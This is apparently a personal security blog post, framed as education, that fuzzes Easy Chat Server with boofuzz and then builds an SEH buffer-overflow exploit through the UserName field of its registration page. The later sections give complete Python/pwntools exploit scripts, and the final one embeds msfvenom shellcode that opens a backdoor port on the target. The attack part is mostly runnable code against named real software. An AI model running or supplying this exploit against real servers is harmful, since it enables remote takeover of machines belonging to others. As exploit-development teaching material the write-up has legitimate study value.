Skip to main content

Breaking code: Fuzzing Windows Executable with boofuzz (▀̿Ĺ̯▀̿ ̿) (day 65)


Disclaimer: This post only for education only ! not to cause any destruction on any living system. Be smart!

Back again with breaking code series

In this post, we are going to take a look at how to use boofuzz tools to trigger a crash in the application that able to help us in the exploitation process.

note: this post is based on https://www.exploit-db.com/exploits/42155

so what is boofuzz? (link: https://github.com/jtpereyda/boofuzz)

boofuzz is a fuzzing tools that was based on sulley framework. What I liked about sulley is that I can integrate the tool using python :) this way I am able to set how the boofuzz behave when conducting fuzz testing on my target

why we need fuzzing?

fuzzing is very critical in finding a vulnerability in software, fuzzing help by inputting lots and unpredictable input testing because of this we would able to trigger a bug that was meant to crash the target. At the end of the fuzzing process, we are able to determine what is the cause of the crash and incorporate this information to gain access control.

If you still confused about the explanation, notice we already come across with fuzzing process in the several previous series to make the target crash by sending long characters

the difference between the rest of the series is that I will automate this process thus making my life easier

OK so let's get started!

our target is a vulnerable http easy chat server, this program is basically like discord chat room but unfortunately, it turns out that attacker able to trigger a buffer overflow when passing username parameter in register.ghp page when registering as a new user

let's try to do the analysis of the server:




 


this is the registration page and once the registration complete it will show us a congratulations page. It is better to run capture the HTTP transaction with wireshark so we know the parameters that need to pass to the server



From this information let's create our python script to automate fuzzing




Let me explain what is the code doing:

First, boofuzz need to create a session object that contain a socket connection to our target you need to pass these three pieces of information which are the ip address, port number and the protocol. If you want to manage the intensity of the request try to adjust the value of sleep_time parameter.

Second, boofuzz is working with block concept so every request will be defined and reside on this each block.

we can start the block by using the s_initialize() function

and set the content using s_static() function notice that when we using static the passed value will not be fuzzed since we only want to fuzz the username parameter

if you want to fuzz the specific parameter you have to use the s_string() function this will tell the boofuzz to start generating the data in the set location

finally we will connect to ther target using session.connect and session.fuzz to start the fuzzing process

More detail: https://zeroaptitude.com/zerodetail/fuzzing-with-boofuzz/

run the script and try to check the server





as you can see the http server is crash and overwrite the SEH by character "3E" which is ">"

warning: you need to stop the fuzzing script manually by ctrl+c since it will until it the session ends.

cool! so we know that we can crash the server, know it's time to find the offset to determine the location of SEH and NSEH





run the script above notice that the SEH is overwritten with value "0x68413268"

type:

~# !mona findmsp

to calculate the offset



from this result, it is said that we need 217 bytes offset to overwrite the SEH. Update the script to be like this and we are able to take control of the execution:

....
padding = "A" * 217
nseh = "CCCC"
seh = "BBBB"
padding2 = "\x90" * 30

payload = padding + nseh + seh + padding2

p = remote("192.168.56.101",80)
request = "POST /registresult.htm HTTP/1.1\r\n\r\n"
request += "Host: 192.168.56.101\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101Firefox/45.0\r\n"
request += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
request += "Accept-Language: en-US,en;q=0.5\r\n"
request += "Accept-Encoding: gzip, deflate\r\n"
request += "Referer: http://192.168.56.101/register.ghp\r\n"
request += "Connection: close\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += "UserName=" + payload + "&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"

p.sendline(request)
p.close()






next, let's find some ropgadget (POP + POP + RET) to move back to the nseh. By typing:

~# !mona seh




If your result is like mine, I suggest you go to the seh.txt that generated in the immunity root folder and find more appropriate the location since the address is containing null bytes and the ret contain some number that will damage our flow of execution



next we just need to assign the nseh with "\xEB\x06\x90\x90" used to take a short jump to the next few bytes that will land in out msfvenom. Update you script like this:

....
padding = "A" * 217
nseh = "\xEB\x06\x90\x90"
seh = "\xb9\x51\x01\x10"
padding2 = "\xcc" * 30

payload = padding + nseh + seh + padding2

p = remote("192.168.56.101",80)
request = "POST /registresult.htm HTTP/1.1\r\n\r\n"
request += "Host: 192.168.56.101\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101Firefox/45.0\r\n"
request += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
request += "Accept-Language: en-US,en;q=0.5\r\n"
request += "Accept-Encoding: gzip, deflate\r\n"
request += "Referer: http://192.168.56.101/register.ghp\r\n"
request += "Connection: close\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += "UserName=" + payload + "&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"

p.sendline(request)
p.close()

But before we proceed to generate the shellcode using msfvenom we should conduct bad character analysis by sending the server character from 0x01 - 0xff and see if there is a character that was altered during the execution.



notice that the sequence is started little off when coming to character 0x25, try to get rid of this character and sed it again until we got a nice unaltered sequence

in the end, I found out that 0x25 and 0x2b is a bad character. Now all of you have to do is to generate a shellcode using msfvenom



the final python script will be like this:

from pwn import *

buf =  b""
buf += b"\xbf\x1f\xf0\xbe\x0e\xda\xc8\xd9\x74\x24\xf4\x5d\x29"
buf += b"\xc9\xb1\x53\x31\x7d\x12\x03\x7d\x12\x83\xda\xf4\x5c"
buf += b"\xfb\x18\x1c\x22\x04\xe0\xdd\x43\x8c\x05\xec\x43\xea"
buf += b"\x4e\x5f\x74\x78\x02\x6c\xff\x2c\xb6\xe7\x8d\xf8\xb9"
buf += b"\x40\x3b\xdf\xf4\x51\x10\x23\x97\xd1\x6b\x70\x77\xeb"
buf += b"\xa3\x85\x76\x2c\xd9\x64\x2a\xe5\x95\xdb\xda\x82\xe0"
buf += b"\xe7\x51\xd8\xe5\x6f\x86\xa9\x04\x41\x19\xa1\x5e\x41"
buf += b"\x98\x66\xeb\xc8\x82\x6b\xd6\x83\x39\x5f\xac\x15\xeb"
buf += b"\x91\x4d\xb9\xd2\x1d\xbc\xc3\x13\x99\x5f\xb6\x6d\xd9"
buf += b"\xe2\xc1\xaa\xa3\x38\x47\x28\x03\xca\xff\x94\xb5\x1f"
buf += b"\x99\x5f\xb9\xd4\xed\x07\xde\xeb\x22\x3c\xda\x60\xc5"
buf += b"\x92\x6a\x32\xe2\x36\x36\xe0\x8b\x6f\x92\x47\xb3\x6f"
buf += b"\x7d\x37\x11\xe4\x90\x2c\x28\xa7\xfc\x81\x01\x57\xfd"
buf += b"\x8d\x12\x24\xcf\x12\x89\xa2\x63\xda\x17\x35\x83\xf1"
buf += b"\xe0\xa9\x7a\xfa\x10\xe0\xb8\xae\x40\x9a\x69\xcf\x0a"
buf += b"\x5a\x95\x1a\xa6\x52\x30\xf5\xd5\x9f\x82\xa5\x59\x0f"
buf += b"\x6b\xac\x55\x70\x8b\xcf\xbf\x19\x24\x32\x40\x06\x37"
buf += b"\xbb\xa6\x22\x27\xea\x71\xda\x85\xc9\x49\x7d\xf5\x3b"
buf += b"\xe2\xe9\xbe\x2d\x35\x16\x3f\x78\x11\x80\xb4\x6f\xa5"
buf += b"\xb1\xca\xa5\x8d\xa6\x5d\x33\x5c\x85\xfc\x44\x75\x7d"
buf += b"\x9c\xd7\x12\x7d\xeb\xcb\x8c\x2a\xbc\x3a\xc5\xbe\x50"
buf += b"\x64\x7f\xdc\xa8\xf0\xb8\x64\x77\xc1\x47\x65\xfa\x7d"
buf += b"\x6c\x75\xc2\x7e\x28\x21\x9a\x28\xe6\x9f\x5c\x83\x48"
buf += b"\x49\x37\x78\x03\x1d\xce\xb2\x94\x5b\xcf\x9e\x62\x83"
buf += b"\x7e\x77\x33\xbc\x4f\x1f\xb3\xc5\xad\xbf\x3c\x1c\x76"
buf += b"\xdf\xde\xb4\x83\x48\x47\x5d\x2e\x15\x78\x88\x6d\x20"
buf += b"\xfb\x38\x0e\xd7\xe3\x49\x0b\x93\xa3\xa2\x61\x8c\x41"
buf += b"\xc4\xd6\xad\x43"

padding = "A" * 217
nseh = "\xEB\x06\x90\x90" #change the value according to your target environment
seh = "\xb9\x51\x01\x10" #change the value according to your target environment
padding2 = "\x90" * 30

payload = padding + nseh + seh + padding2 + buf

p = remote("192.168.56.101",80)
request = "POST /registresult.htm HTTP/1.1\r\n\r\n"
request += "Host: 192.168.56.101\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101Firefox/45.0\r\n"
request += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
request += "Accept-Language: en-US,en;q=0.5\r\n"
request += "Accept-Encoding: gzip, deflate\r\n"
request += "Referer: http://192.168.56.101/register.ghp\r\n"
request += "Connection: close\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += "UserName=" + payload + "&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"

p.sendline(request)
p.close()

once you run the python script, the server will crash but it will open a port for you to connect.



connect to the server using a backdoor port you just create by using MSFvenom




cool! we took the control the server

That's all folks I hope you enjoy this post :)

Comments

Popular posts from this blog

Having fun analyzing nginx log to find malicious attacker in the net (ง'̀-'́)ง (day 37)

  What makes you sleepless at night? is it because of a ghost or scary stories? is it because you have an important meeting tomorrow? or is it because you have an exam? For me, what keeps me up all night is that I keep thinking about what happens to a website that I just created, is it safe from an attacker (certainly not) or did I missing some security adjustments that lead to vulnerability? well I'm not the best secure programmer in the world, I'm still learning and there is a big possibility that I can make a mistake but for me, a mistake can be a valuable investment to myself or yourself to be better so from this idea, I want to know more about what attackers casually do when attacking a website. Here in this post, I'm going to show you how I analyzed attack to the website that I have permission to design and also some interesting findings that I could get from the analysis Background: All of this analysis comes from the traffic that is targeted to th...

Utilize Pwntools for crafting ROP chain :') (day 69)

who doesn't like pwntools? it is a very versatile tool and can be customized according to our need using the python script but did you need to know that pwntools itself can help us to automatically craft a rop chain for us? so in this post, I will show you how to make rop chain less painful and make pwntools do all the heavy lifting. To demonstrate this I will use the binary challenge callme 64 bit from ropemporium link: https://ropemporium.com/challenge/callme.html Crashing the app: Like any other exploitation process, we need to crash the program by generating a long string pattern to determine the offset. based on the information from the above figure we can see that we required to provide 40 bytes of offset Fun stuff: now this where the fun stuff began write the following python script: as in the guideline of the challenged said we need to chain the function call by first to call the callme_one function, callme_two function and then callme_three funct...

Bypassing stack canaries protection :') (day 51)

In my previous blogs, I show you guys how to bypass some common protection usually used in Linux binary such as NX and ASLR but this time we are going to take it to the next level we are going to talk about protection employ in the modern Linux OS which is "The Canaries" and how to bypass it. note: this post was not originally mined it was inspired by the following resources https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary/ (Credit goes to the author) we are going to start this post about what is stack canaries and types of different implementation of it then move to the implementation about how to bypass this protection. We are going to focus on "leak canaries" technique What is stack canary: In layman terms, canaries are just another protection mechanism to prevent stack overflow implemented by appending 4/8 bytes value (depend on the architecture) into the stack when a function is entered. When the function is at the end of its exec...